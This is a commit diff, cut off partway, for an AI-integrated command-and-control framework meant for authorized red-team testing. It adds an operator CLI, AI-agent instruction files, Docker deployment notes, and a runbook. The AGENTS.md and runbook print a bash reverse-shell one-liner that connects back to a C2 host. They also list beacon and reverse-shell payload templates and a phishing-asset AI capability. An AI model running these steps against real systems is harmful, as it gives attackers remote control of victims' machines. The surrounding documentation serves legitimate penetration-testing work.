mirror of
https://github.com/SquidSec/SquidC5
synced 2026-08-09 12:22:26 +00:00
Add operator CLI, host-network deploy notes, and agent memory files
- ss2/squidsec2-cli local harness for remote C2 control - Expand AGENTS.md with CLI surface, reverse-shell flow, Docker port pitfalls - Add operator runbook, deployment docs, CLAUDE.md, Copilot instructions - Use host networking so reverse-shell listeners bind real host ports - Tighten .gitignore for data/ and local CLI config (no secrets committed)
This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
# GitHub Copilot instructions for SquidSeC2
|
||||
|
||||
Read and obey root **AGENTS.md**.
|
||||
|
||||
- Security-first C2 for authorized testing only
|
||||
- Do not weaken MCP tool allow-lists or Admin AI `sanitize_untrusted` boundaries
|
||||
- Do not commit tokens, API keys, or `data/` contents
|
||||
- Prefer deterministic templates over autonomous agent loops
|
||||
- Operator CLI is `ss2` — keep help/README/AGENTS in sync when adding commands
|
||||
- Docker compose uses host networking for listener ports; document privileged-port sysctl for <1024
|
||||
@@ -43,3 +43,9 @@ nuitka-crash-report.xml
|
||||
payloads/out/
|
||||
.secrets/
|
||||
admin_token.txt
|
||||
**/admin_token.txt
|
||||
data/*
|
||||
!data/.gitkeep
|
||||
# Local operator CLI config (contains tokens)
|
||||
.config/squidsec2/
|
||||
**/squidsec2/config.json
|
||||
|
||||
@@ -4,14 +4,18 @@
|
||||
|
||||
SquidSeC2 is a lightweight, security-first, AI-native C2 for **authorized** red team / pen-test use only.
|
||||
|
||||
Primary language: Python 3.11+ · FastAPI · SQLite · Docker-first
|
||||
Operator CLI: `ss2` (also `squidsec2-cli`)
|
||||
|
||||
## Non-Negotiable Security Rules
|
||||
|
||||
1. **External AI restriction**: MCP tools must remain allow-listed per token. Do not add open-ended autonomous agent loops for external models.
|
||||
2. **Admin AI shielding**: Never feed raw session output into LLM prompts without `sanitize_untrusted()`. Keep capabilities allow-listed.
|
||||
3. **Determinism preference**: Prefer templates, fixed prompts, and single-step tools over free-form agentic planning.
|
||||
4. **Audit everything**: Operator, MCP, and Admin AI actions go through the policy engine / audit trail.
|
||||
5. **No secrets in git**: Tokens, API keys, and `data/` contents stay out of the repository.
|
||||
6. **Port flexibility**: Never hard-require ports 80 or 443 for listeners.
|
||||
5. **No secrets in git**: Tokens, API keys, `data/` contents, `admin_token.txt`, and `~/.config/squidsec2/config.json` stay out of the repository.
|
||||
6. **Port flexibility**: Never hard-require ports 80 or 443 for listeners — but operators *may* use them.
|
||||
7. **Authorized use only**: Do not help with unauthorized access.
|
||||
|
||||
## Architecture Map
|
||||
|
||||
@@ -19,6 +23,7 @@ SquidSeC2 is a lightweight, security-first, AI-native C2 for **authorized** red
|
||||
src/squidsec2/
|
||||
main.py # FastAPI app + lifespan
|
||||
config.py # Settings (SQUIDSEC2_* env)
|
||||
cli.py # Operator CLI (ss2)
|
||||
db/store.py # SQLite schema + access
|
||||
auth/tokens.py # Scoped tokens
|
||||
policy/engine.py # Allow/deny, risk, HITL
|
||||
@@ -33,6 +38,168 @@ src/squidsec2/
|
||||
audit/ # Audit facade
|
||||
```
|
||||
|
||||
## Operator CLI (`ss2`) — Agent Knowledge
|
||||
|
||||
Entry points (after `pip install -e .`):
|
||||
|
||||
- `ss2`
|
||||
- `squidsec2-cli`
|
||||
|
||||
Config file (local only, never commit):
|
||||
|
||||
- Path: `~/.config/squidsec2/config.json`
|
||||
- Keys: `url`, `token`
|
||||
- Env overrides: `SQUIDSEC2_URL` / `SS2_URL`, `SQUIDSEC2_TOKEN` / `SS2_TOKEN`
|
||||
- Global flags: `--url`, `--token`, `--timeout`
|
||||
|
||||
### Full command surface
|
||||
|
||||
```
|
||||
ss2 login --url <base> --token <ss2_...>
|
||||
ss2 config [--show-token]
|
||||
ss2 health | whoami | metrics | audit [--limit N] | events | repl
|
||||
|
||||
ss2 sessions list [--status active|closed]
|
||||
ss2 sessions get <id>
|
||||
ss2 sessions close <id>
|
||||
|
||||
ss2 tasks list [--session <id>]
|
||||
ss2 tasks get <id>
|
||||
ss2 tasks create <session_id> "<command>" [--args-json '{}'] [--hitl]
|
||||
|
||||
ss2 listeners list
|
||||
ss2 listeners create <name> <port> [--kind http|tcp|reverse_shell] [--host 0.0.0.0]
|
||||
ss2 listeners start|stop|delete <id>
|
||||
|
||||
ss2 payloads templates
|
||||
ss2 payloads generate <template> <host> <port> [--interval 5] [--raw]
|
||||
# templates: http_beacon_python | http_beacon_bash | reverse_shell_bash | reverse_shell_python
|
||||
|
||||
ss2 shell <session_id> "<command>" [--hitl]
|
||||
|
||||
ss2 tokens list
|
||||
ss2 tokens create <name> --scopes "a,b,c" [--mcp-tools "t1,t2"]
|
||||
ss2 tokens revoke <id>
|
||||
|
||||
ss2 ai <capability> [--data "..."] [--llm <id>]
|
||||
# capabilities: payload_template | phishing_asset | doc_generate | shell_classify | recon_assist
|
||||
|
||||
ss2 llm list
|
||||
ss2 llm add <name> <model> [--provider openai] [--base-url URL] [--api-key KEY]
|
||||
|
||||
ss2 mcp tools
|
||||
ss2 mcp call <name> [--args-json '{}']
|
||||
|
||||
ss2 policy get
|
||||
ss2 policy set --json '...' | --file rules.json
|
||||
```
|
||||
|
||||
### REPL shortcuts (`ss2 repl`)
|
||||
|
||||
`sessions`, `session <id>`, `tasks`, `task <session> <cmd>`, `listeners`,
|
||||
`listen <name> <kind> <port>`, `start|stop <listener_id>`,
|
||||
`payload <tpl> <host> <port>`, `metrics`, `audit`, `health`, `whoami`,
|
||||
`ai <capability> [data]`, `help`, `quit`
|
||||
|
||||
### Reverse-shell operator flow
|
||||
|
||||
1. `ss2 listeners create rev <port> --kind reverse_shell`
|
||||
2. `ss2 listeners start <id>` — must show `running`
|
||||
3. On authorized target: `bash -i >& /dev/tcp/<C2_HOST>/<port> 0>&1`
|
||||
4. `ss2 sessions list` → find `kind: reverse_shell`
|
||||
5. `ss2 shell <session_id> "whoami"`
|
||||
6. Optional: `ss2 events` for `shell.connected` / `shell.output`
|
||||
|
||||
Beacon flow:
|
||||
|
||||
1. Generate HTTP beacon payload pointing at `http://HOST:8443/api/v1/implant/beacon`
|
||||
2. Run payload on authorized target
|
||||
3. `ss2 sessions list` → `kind: beacon`
|
||||
4. `ss2 tasks create <session_id> "id"` then re-check `ss2 tasks get <task_id>`
|
||||
|
||||
## Deployment Knowledge (Docker)
|
||||
|
||||
### Critical: listener ports vs Docker networking
|
||||
|
||||
Listeners bind **inside the process**. With default bridge networking, only ports listed in `docker-compose.yml` `ports:` reach the host.
|
||||
|
||||
**Current compose uses `network_mode: host`** so reverse-shell/TCP listeners bind real host ports without republishing.
|
||||
|
||||
If someone switches back to bridge mode:
|
||||
|
||||
- API only: `8443:8443`
|
||||
- Every reverse-shell/TCP port must be added under `ports:` and opened in UFW
|
||||
|
||||
### Privileged ports (<1024)
|
||||
|
||||
Container runs as non-root (`squidsec2` uid 10001). Binding 443 fails with permission denied unless the host allows unprivileged low ports:
|
||||
|
||||
```bash
|
||||
# on droplet/host
|
||||
sysctl -w net.ipv4.ip_unprivileged_port_start=0
|
||||
echo "net.ipv4.ip_unprivileged_port_start=0" > /etc/sysctl.d/99-squidsec2.conf
|
||||
```
|
||||
|
||||
### Firewall (UFW)
|
||||
|
||||
Open whatever listener ports operators use, plus API:
|
||||
|
||||
```bash
|
||||
ufw allow OpenSSH
|
||||
ufw allow 8443/tcp
|
||||
ufw allow 443/tcp # if using reverse shell on 443
|
||||
ufw allow 4444/tcp # optional high port
|
||||
```
|
||||
|
||||
### Admin token bootstrap
|
||||
|
||||
On first start, if no admin token exists:
|
||||
|
||||
- Generated once
|
||||
- Written to `$SQUIDSEC2_DATA_DIR/admin_token.txt` (Docker: `/data/admin_token.txt`)
|
||||
- **Never commit this file**
|
||||
|
||||
Retrieve on droplet:
|
||||
|
||||
```bash
|
||||
ssh -i <key> root@<droplet> 'docker exec squidsec2 cat /data/admin_token.txt'
|
||||
```
|
||||
|
||||
### Deploy / update droplet
|
||||
|
||||
```bash
|
||||
# from repo root (example)
|
||||
rsync -az -e "ssh -i ~/.ssh/ocs_prod_deploy" \
|
||||
--exclude '.venv' --exclude 'data' --exclude '.git' \
|
||||
--exclude '__pycache__' --exclude '.pytest_cache' \
|
||||
./ root@<droplet>:/opt/squidsec2/
|
||||
ssh -i ~/.ssh/ocs_prod_deploy root@<droplet> \
|
||||
'cd /opt/squidsec2 && docker compose up -d --build --force-recreate'
|
||||
```
|
||||
|
||||
Also: `scripts/deploy_droplet.sh <ip>`
|
||||
|
||||
### Lab deployment reference (non-secret)
|
||||
|
||||
- DigitalOcean droplet name pattern: `squidsec2-test`
|
||||
- Cheap size used: `s-1vcpu-1gb` (~$6/mo)
|
||||
- App path on host: `/opt/squidsec2`
|
||||
- API: `http://<droplet-ip>:8443`
|
||||
- Docs: `http://<droplet-ip>:8443/docs`
|
||||
- Health: `GET /api/v1/health`
|
||||
- MCP: `/mcp/tools`, `/mcp/call`
|
||||
|
||||
**Do not store live tokens, SSH private keys, or API keys in this file.**
|
||||
|
||||
## Auth Model (quick)
|
||||
|
||||
- Tokens: `ss2_<urlsafe>`
|
||||
- Header: `Authorization: Bearer <token>` or `X-API-Token: <token>`
|
||||
- Scopes: `admin`, `sessions:read|write`, `tasks:read|write`, `listeners:read|write`,
|
||||
`payloads:generate`, `metrics:read`, `audit:read`, `shell:interact`, `ai:use`,
|
||||
`mcp:connect`, `tokens:manage`, `llm:manage`, `policy:manage`, …
|
||||
- External AI: requires `mcp:connect` + per-token `mcp_tools` allow-list
|
||||
|
||||
## Dev Commands
|
||||
|
||||
```bash
|
||||
@@ -42,22 +209,40 @@ pip install -e .
|
||||
pytest -q
|
||||
ruff check src tests
|
||||
uvicorn squidsec2.main:create_app --factory --host 0.0.0.0 --port 8443
|
||||
ss2 login --url http://127.0.0.1:8443 --token "$(cat data/admin_token.txt)"
|
||||
```
|
||||
|
||||
Docker:
|
||||
|
||||
```bash
|
||||
docker compose up --build -d
|
||||
# Admin token: docker compose exec squidsec2 cat /data/admin_token.txt
|
||||
docker exec squidsec2 cat /data/admin_token.txt
|
||||
```
|
||||
|
||||
## Required Agent / Project Memory Files
|
||||
|
||||
Keep these present and accurate:
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| `AGENTS.md` | **This file** — primary agent operating memory |
|
||||
| `docs/squidsec2-vision.md` | Full product vision / security architecture |
|
||||
| `docs/operator-runbook.md` | Human + agent operator procedures |
|
||||
| `docs/deployment.md` | Docker / DO droplet deployment notes |
|
||||
| `README.md` | Public-facing quickstart |
|
||||
| `SECURITY.md` | Disclosure policy |
|
||||
| `.gitignore` | Blocks secrets, data, local config |
|
||||
| `.env.example` | Env template without secrets |
|
||||
|
||||
## When Changing Code
|
||||
|
||||
- Keep changes small and auditable
|
||||
- Add/adjust pytest coverage for auth, policy, MCP allow-lists, and AI sanitization
|
||||
- Add/adjust pytest coverage for auth, policy, MCP allow-lists, AI sanitization, CLI if behavior changes
|
||||
- Update `docs/squidsec2-vision.md` if behavior/spec changes
|
||||
- Update this `AGENTS.md` when CLI surface, deploy model, or security boundaries change
|
||||
- Keep README accurate
|
||||
- Do not weaken MCP tool restrictions or Admin AI sandbox without explicit human design review
|
||||
- Never commit tokens, keys, or `data/` DB files
|
||||
|
||||
## Testing Focus
|
||||
|
||||
@@ -65,5 +250,6 @@ docker compose up --build -d
|
||||
- MCP tool allow-list denial paths
|
||||
- Policy HITL / deny thresholds
|
||||
- `sanitize_untrusted` injection filtering
|
||||
- Listener port bind (non-privileged ports)
|
||||
- Listener port bind (non-privileged ports; document privileged-port host sysctl)
|
||||
- Implant beacon task poll/complete cycle
|
||||
- CLI login + basic authenticated calls (no live secrets in tests)
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# CLAUDE.md
|
||||
|
||||
Follow **AGENTS.md** as the primary agent memory for this repository.
|
||||
|
||||
Also read:
|
||||
|
||||
- `docs/squidsec2-vision.md` — product/security architecture
|
||||
- `docs/operator-runbook.md` — operator CLI & reverse-shell procedures
|
||||
- `docs/deployment.md` — Docker / droplet deployment
|
||||
|
||||
Hard rules: no secrets in git; MCP allow-lists and Admin AI sandbox are non-negotiable; authorized testing only.
|
||||
@@ -35,6 +35,25 @@ uvicorn squidsec2.main:create_app --factory --host 0.0.0.0 --port 8443
|
||||
# Admin token printed path: data/admin_token.txt
|
||||
```
|
||||
|
||||
## Operator CLI (`ss2`)
|
||||
|
||||
Local harness to control a remote SquidSeC2 instance:
|
||||
|
||||
```bash
|
||||
pip install -e .
|
||||
ss2 login --url http://YOUR_HOST:8443 --token ss2_...
|
||||
ss2 health
|
||||
ss2 sessions list
|
||||
ss2 tasks create <session_id> "whoami"
|
||||
ss2 listeners create http-1 9001 --kind http
|
||||
ss2 payloads generate http_beacon_python YOUR_HOST 8443 --raw
|
||||
ss2 ai recon_assist --data "windows domain"
|
||||
ss2 repl # interactive mode
|
||||
```
|
||||
|
||||
Config is stored at `~/.config/squidsec2/config.json` (mode 0600).
|
||||
Overrides: `--url` / `--token`, or env `SQUIDSEC2_URL` / `SQUIDSEC2_TOKEN`.
|
||||
|
||||
## API Overview
|
||||
|
||||
| Area | Path |
|
||||
@@ -108,7 +127,12 @@ Environment variables (prefix `SQUIDSEC2_`):
|
||||
3. **Policy engine** — risk scores + HITL for sensitive actions
|
||||
4. **Audit** — immutable log of all significant actions
|
||||
|
||||
See [docs/squidsec2-vision.md](docs/squidsec2-vision.md) and [AGENTS.md](AGENTS.md).
|
||||
See:
|
||||
|
||||
- [AGENTS.md](AGENTS.md) — agent/project memory
|
||||
- [docs/squidsec2-vision.md](docs/squidsec2-vision.md) — architecture
|
||||
- [docs/operator-runbook.md](docs/operator-runbook.md) — operator CLI & reverse shells
|
||||
- [docs/deployment.md](docs/deployment.md) — Docker / droplet deploy
|
||||
|
||||
## Development
|
||||
|
||||
|
||||
+3
-5
@@ -4,10 +4,9 @@ services:
|
||||
image: squidsec2:latest
|
||||
container_name: squidsec2
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "8443:8443"
|
||||
# Map additional listener ports as needed, e.g.:
|
||||
# - "4444:4444"
|
||||
# Host networking so reverse-shell / TCP listeners can bind any host port
|
||||
# (bridge mode only publishes ports listed under `ports:`).
|
||||
network_mode: host
|
||||
environment:
|
||||
SQUIDSEC2_HOST: "0.0.0.0"
|
||||
SQUIDSEC2_PORT: "8443"
|
||||
@@ -28,7 +27,6 @@ services:
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 20s
|
||||
# Resource limits for cheap droplets
|
||||
deploy:
|
||||
resources:
|
||||
limits:
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
# SquidSeC2 Deployment
|
||||
|
||||
## Docker (primary)
|
||||
|
||||
```bash
|
||||
docker compose up --build -d
|
||||
docker exec squidsec2 cat /data/admin_token.txt # once; store securely
|
||||
curl -s http://127.0.0.1:8443/api/v1/health
|
||||
```
|
||||
|
||||
### Host networking (default in compose)
|
||||
|
||||
`network_mode: host` so TCP/reverse-shell listeners bind real host ports without listing each port in `ports:`.
|
||||
|
||||
Trade-off: less isolation; fine for single-purpose C2 droplets.
|
||||
|
||||
### Bridge networking alternative
|
||||
|
||||
If using bridge, publish every listener port:
|
||||
|
||||
```yaml
|
||||
ports:
|
||||
- "8443:8443"
|
||||
- "443:443"
|
||||
- "4444:4444"
|
||||
```
|
||||
|
||||
## Privileged ports
|
||||
|
||||
App user is non-root. For listeners on ports < 1024:
|
||||
|
||||
```bash
|
||||
sysctl -w net.ipv4.ip_unprivileged_port_start=0
|
||||
echo "net.ipv4.ip_unprivileged_port_start=0" | sudo tee /etc/sysctl.d/99-squidsec2.conf
|
||||
```
|
||||
|
||||
## Firewall
|
||||
|
||||
```bash
|
||||
ufw allow OpenSSH
|
||||
ufw allow 8443/tcp
|
||||
# plus any reverse-shell / TCP listener ports
|
||||
ufw allow 443/tcp
|
||||
ufw --force enable
|
||||
```
|
||||
|
||||
## DigitalOcean lab pattern
|
||||
|
||||
- Size: `s-1vcpu-1gb` (practical minimum for Docker)
|
||||
- Image: Ubuntu LTS + Docker
|
||||
- Install path: `/opt/squidsec2`
|
||||
- Update: rsync tree + `docker compose up -d --build --force-recreate`
|
||||
- SSH deploy key: use operator machine key already registered with DO (do not commit private keys)
|
||||
|
||||
Environment variables: see `.env.example` (`SQUIDSEC2_*`).
|
||||
|
||||
## Secrets hygiene
|
||||
|
||||
Never commit:
|
||||
|
||||
- `data/admin_token.txt`
|
||||
- `data/*.db`
|
||||
- `~/.config/squidsec2/config.json`
|
||||
- `.env` with real tokens
|
||||
- LLM API keys
|
||||
|
||||
Rotate bootstrap admin token after first login by creating a new admin-scoped token and revoking the bootstrap id if desired.
|
||||
@@ -0,0 +1,100 @@
|
||||
# SquidSeC2 Operator Runbook
|
||||
|
||||
Authorized red team / pen-test use only.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
```bash
|
||||
cd /path/to/squidsec2
|
||||
python3 -m venv .venv && source .venv/bin/activate
|
||||
pip install -e .
|
||||
```
|
||||
|
||||
## Connect CLI to a server
|
||||
|
||||
```bash
|
||||
# Token comes from server bootstrap file — never commit it
|
||||
ss2 login --url http://<HOST>:8443 --token ss2_...
|
||||
ss2 health
|
||||
ss2 whoami
|
||||
```
|
||||
|
||||
Config stored at `~/.config/squidsec2/config.json` (mode 0600).
|
||||
|
||||
## Reverse shell
|
||||
|
||||
```bash
|
||||
ss2 listeners create rev-443 443 --kind reverse_shell
|
||||
ss2 listeners start <listener_id>
|
||||
ss2 payloads generate reverse_shell_bash <HOST> 443 --raw
|
||||
```
|
||||
|
||||
On authorized target:
|
||||
|
||||
```bash
|
||||
bash -c 'bash -i >& /dev/tcp/<HOST>/443 0>&1'
|
||||
```
|
||||
|
||||
Operate:
|
||||
|
||||
```bash
|
||||
ss2 sessions list
|
||||
ss2 shell <session_id> "whoami"
|
||||
ss2 events
|
||||
```
|
||||
|
||||
### If reverse shell does not register
|
||||
|
||||
1. Listener `status` must be `running` (`ss2 listeners list`).
|
||||
2. With Docker **bridge** networking, host must publish the port (`ports: ["443:443"]`).
|
||||
3. With current compose **host** networking, process binds host ports directly.
|
||||
4. Ports < 1024 need host sysctl: `net.ipv4.ip_unprivileged_port_start=0` (container is non-root).
|
||||
5. Host firewall must allow the port (`ufw allow 443/tcp`).
|
||||
6. Target must reach `<HOST>:<port>` (egress/NAT).
|
||||
|
||||
## HTTP beacon
|
||||
|
||||
```bash
|
||||
ss2 payloads generate http_beacon_python <HOST> 8443 --raw
|
||||
# run payload on authorized target
|
||||
ss2 sessions list
|
||||
ss2 tasks create <session_id> "id"
|
||||
ss2 tasks list --session <session_id>
|
||||
ss2 tasks get <task_id>
|
||||
```
|
||||
|
||||
## Tokens
|
||||
|
||||
```bash
|
||||
ss2 tokens create ops \
|
||||
--scopes "sessions:read,sessions:write,tasks:read,tasks:write,listeners:read,listeners:write,payloads:generate,metrics:read,audit:read"
|
||||
|
||||
ss2 tokens create ext-ai \
|
||||
--scopes "mcp:connect,sessions:read,tasks:read,tasks:write,metrics:read" \
|
||||
--mcp-tools "list_sessions,get_session,list_tasks,create_task,get_metrics"
|
||||
```
|
||||
|
||||
## Admin AI
|
||||
|
||||
```bash
|
||||
ss2 ai recon_assist --data "windows domain host"
|
||||
ss2 ai shell_classify --data "uid=0(root)"
|
||||
ss2 ai payload_template --data "need bash http beacon"
|
||||
```
|
||||
|
||||
Offline mode works without configured LLMs. Configure BYO LLM via `ss2 llm add ...`.
|
||||
|
||||
## Observability
|
||||
|
||||
```bash
|
||||
ss2 metrics
|
||||
ss2 audit --limit 50
|
||||
ss2 events
|
||||
ss2 policy get
|
||||
```
|
||||
|
||||
## Interactive mode
|
||||
|
||||
```bash
|
||||
ss2 repl
|
||||
```
|
||||
@@ -70,15 +70,20 @@ Governs humans, external AI, and admin AI:
|
||||
- external AI determinism rules
|
||||
- admin AI sandbox rules
|
||||
|
||||
## Operator CLI
|
||||
|
||||
`ss2` / `squidsec2-cli` (`src/squidsec2/cli.py`) is the primary local harness for remote C2 control. It stores non-secret path config under `~/.config/squidsec2/` (token local-only). Full command surface is documented in `AGENTS.md` and `docs/operator-runbook.md`.
|
||||
|
||||
## Technology Stack
|
||||
|
||||
| Layer | Choice |
|
||||
|-------|--------|
|
||||
| Language | Python 3.11+ |
|
||||
| API | FastAPI + Uvicorn |
|
||||
| Operator CLI | `ss2` (httpx) |
|
||||
| MCP | HTTP MCP-lite (allow-listed tools) |
|
||||
| DB | SQLite (aiosqlite) |
|
||||
| Deploy | Docker (primary), standalone binaries planned |
|
||||
| Deploy | Docker host-network (primary), standalone binaries planned |
|
||||
| Tests | pytest |
|
||||
| CI | GitHub Actions |
|
||||
|
||||
|
||||
@@ -45,6 +45,8 @@ dev = [
|
||||
|
||||
[project.scripts]
|
||||
squidsec2 = "squidsec2.main:cli"
|
||||
ss2 = "squidsec2.cli:main"
|
||||
squidsec2-cli = "squidsec2.cli:main"
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["src"]
|
||||
|
||||
@@ -0,0 +1,637 @@
|
||||
"""SquidSeC2 operator CLI harness — local client for remote C2."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
DEFAULT_BASE = "http://127.0.0.1:8443"
|
||||
CONFIG_DIR = Path(os.environ.get("XDG_CONFIG_HOME", Path.home() / ".config")) / "squidsec2"
|
||||
CONFIG_FILE = CONFIG_DIR / "config.json"
|
||||
|
||||
|
||||
def load_config() -> dict[str, Any]:
|
||||
if CONFIG_FILE.exists():
|
||||
try:
|
||||
return json.loads(CONFIG_FILE.read_text(encoding="utf-8"))
|
||||
except json.JSONDecodeError:
|
||||
return {}
|
||||
return {}
|
||||
|
||||
|
||||
def save_config(cfg: dict[str, Any]) -> None:
|
||||
CONFIG_DIR.mkdir(parents=True, exist_ok=True)
|
||||
CONFIG_FILE.write_text(json.dumps(cfg, indent=2) + "\n", encoding="utf-8")
|
||||
try:
|
||||
CONFIG_FILE.chmod(0o600)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def resolve_base(args: argparse.Namespace) -> str:
|
||||
if getattr(args, "url", None):
|
||||
return args.url.rstrip("/")
|
||||
env = os.environ.get("SQUIDSEC2_URL") or os.environ.get("SS2_URL")
|
||||
if env:
|
||||
return env.rstrip("/")
|
||||
cfg = load_config()
|
||||
return (cfg.get("url") or DEFAULT_BASE).rstrip("/")
|
||||
|
||||
|
||||
def resolve_token(args: argparse.Namespace) -> str | None:
|
||||
if getattr(args, "token", None):
|
||||
return args.token
|
||||
env = os.environ.get("SQUIDSEC2_TOKEN") or os.environ.get("SS2_TOKEN")
|
||||
if env:
|
||||
return env
|
||||
return load_config().get("token")
|
||||
|
||||
|
||||
def pp(data: Any) -> None:
|
||||
if isinstance(data, (dict, list)):
|
||||
print(json.dumps(data, indent=2, default=str))
|
||||
else:
|
||||
print(data)
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self, base: str, token: str | None, timeout: float = 30.0) -> None:
|
||||
self.base = base.rstrip("/")
|
||||
self.token = token
|
||||
headers: dict[str, str] = {"Accept": "application/json"}
|
||||
if token:
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
self._client = httpx.Client(base_url=self.base, headers=headers, timeout=timeout)
|
||||
|
||||
def close(self) -> None:
|
||||
self._client.close()
|
||||
|
||||
def request(self, method: str, path: str, **kwargs: Any) -> Any:
|
||||
r = self._client.request(method, path, **kwargs)
|
||||
if r.status_code >= 400:
|
||||
try:
|
||||
detail = r.json()
|
||||
except Exception:
|
||||
detail = r.text
|
||||
raise SystemExit(f"HTTP {r.status_code}: {detail}")
|
||||
if r.status_code == 204 or not r.content:
|
||||
return None
|
||||
ct = r.headers.get("content-type", "")
|
||||
if "application/json" in ct:
|
||||
return r.json()
|
||||
return r.text
|
||||
|
||||
def get(self, path: str, **kwargs: Any) -> Any:
|
||||
return self.request("GET", path, **kwargs)
|
||||
|
||||
def post(self, path: str, **kwargs: Any) -> Any:
|
||||
return self.request("POST", path, **kwargs)
|
||||
|
||||
def put(self, path: str, **kwargs: Any) -> Any:
|
||||
return self.request("PUT", path, **kwargs)
|
||||
|
||||
def delete(self, path: str, **kwargs: Any) -> Any:
|
||||
return self.request("DELETE", path, **kwargs)
|
||||
|
||||
|
||||
def cmd_login(args: argparse.Namespace) -> None:
|
||||
cfg = load_config()
|
||||
if args.url:
|
||||
cfg["url"] = args.url.rstrip("/")
|
||||
if args.token:
|
||||
cfg["token"] = args.token
|
||||
if not cfg.get("url"):
|
||||
cfg["url"] = DEFAULT_BASE
|
||||
if not cfg.get("token"):
|
||||
raise SystemExit("Token required: ss2 login --token <token> [--url http://host:8443]")
|
||||
save_config(cfg)
|
||||
client = Client(cfg["url"], cfg["token"])
|
||||
try:
|
||||
health = client.get("/api/v1/health")
|
||||
meta = client.get("/api/v1/meta")
|
||||
pp({"saved": str(CONFIG_FILE), "url": cfg["url"], "health": health, "actor": meta.get("actor")})
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
def cmd_whoami(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/meta"))
|
||||
|
||||
|
||||
def cmd_health(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/health"))
|
||||
|
||||
|
||||
def cmd_sessions_list(args: argparse.Namespace, client: Client) -> None:
|
||||
params = {}
|
||||
if args.status:
|
||||
params["status"] = args.status
|
||||
pp(client.get("/api/v1/sessions", params=params))
|
||||
|
||||
|
||||
def cmd_sessions_get(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get(f"/api/v1/sessions/{args.id}"))
|
||||
|
||||
|
||||
def cmd_sessions_close(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.post(f"/api/v1/sessions/{args.id}/close"))
|
||||
|
||||
|
||||
def cmd_tasks_list(args: argparse.Namespace, client: Client) -> None:
|
||||
params = {}
|
||||
if args.session:
|
||||
params["session_id"] = args.session
|
||||
pp(client.get("/api/v1/tasks", params=params))
|
||||
|
||||
|
||||
def cmd_tasks_get(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get(f"/api/v1/tasks/{args.id}"))
|
||||
|
||||
|
||||
def cmd_tasks_create(args: argparse.Namespace, client: Client) -> None:
|
||||
body: dict[str, Any] = {
|
||||
"session_id": args.session,
|
||||
"command": args.command,
|
||||
"hitl_approved": args.hitl,
|
||||
}
|
||||
if args.args_json:
|
||||
body["args"] = json.loads(args.args_json)
|
||||
pp(client.post("/api/v1/tasks", json=body))
|
||||
|
||||
|
||||
def cmd_listeners_list(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/listeners"))
|
||||
|
||||
|
||||
def cmd_listeners_create(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(
|
||||
client.post(
|
||||
"/api/v1/listeners",
|
||||
json={
|
||||
"name": args.name,
|
||||
"kind": args.kind,
|
||||
"host": args.host,
|
||||
"port": args.port,
|
||||
},
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def cmd_listeners_start(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.post(f"/api/v1/listeners/{args.id}/start"))
|
||||
|
||||
|
||||
def cmd_listeners_stop(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.post(f"/api/v1/listeners/{args.id}/stop"))
|
||||
|
||||
|
||||
def cmd_listeners_delete(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.delete(f"/api/v1/listeners/{args.id}"))
|
||||
|
||||
|
||||
def cmd_payloads_templates(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/payloads/templates"))
|
||||
|
||||
|
||||
def cmd_payloads_generate(args: argparse.Namespace, client: Client) -> None:
|
||||
data = client.post(
|
||||
"/api/v1/payloads/generate",
|
||||
json={
|
||||
"template": args.template,
|
||||
"host": args.host,
|
||||
"port": args.port,
|
||||
"interval": args.interval,
|
||||
},
|
||||
)
|
||||
if args.raw:
|
||||
print(data.get("content", ""))
|
||||
else:
|
||||
pp(data)
|
||||
|
||||
|
||||
def cmd_shell(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(
|
||||
client.post(
|
||||
"/api/v1/shell/command",
|
||||
json={
|
||||
"session_id": args.session,
|
||||
"command": args.command,
|
||||
"hitl_approved": args.hitl,
|
||||
},
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def cmd_metrics(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/metrics"))
|
||||
|
||||
|
||||
def cmd_audit(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/audit", params={"limit": args.limit, "offset": args.offset}))
|
||||
|
||||
|
||||
def cmd_events(args: argparse.Namespace, client: Client) -> None:
|
||||
headers = {"Accept": "text/event-stream"}
|
||||
if client.token:
|
||||
headers["Authorization"] = f"Bearer {client.token}"
|
||||
with httpx.stream(
|
||||
"GET",
|
||||
f"{client.base}/api/v1/events/stream",
|
||||
headers=headers,
|
||||
timeout=None,
|
||||
) as resp:
|
||||
if resp.status_code >= 400:
|
||||
raise SystemExit(f"HTTP {resp.status_code}: {resp.read().decode()}")
|
||||
for line in resp.iter_lines():
|
||||
if not line:
|
||||
continue
|
||||
if line.startswith("data: "):
|
||||
payload = line[6:]
|
||||
try:
|
||||
pp(json.loads(payload))
|
||||
except json.JSONDecodeError:
|
||||
print(payload)
|
||||
else:
|
||||
print(line)
|
||||
|
||||
|
||||
def cmd_tokens_list(args: argparse.Namespace, client: Client) -> None:
|
||||
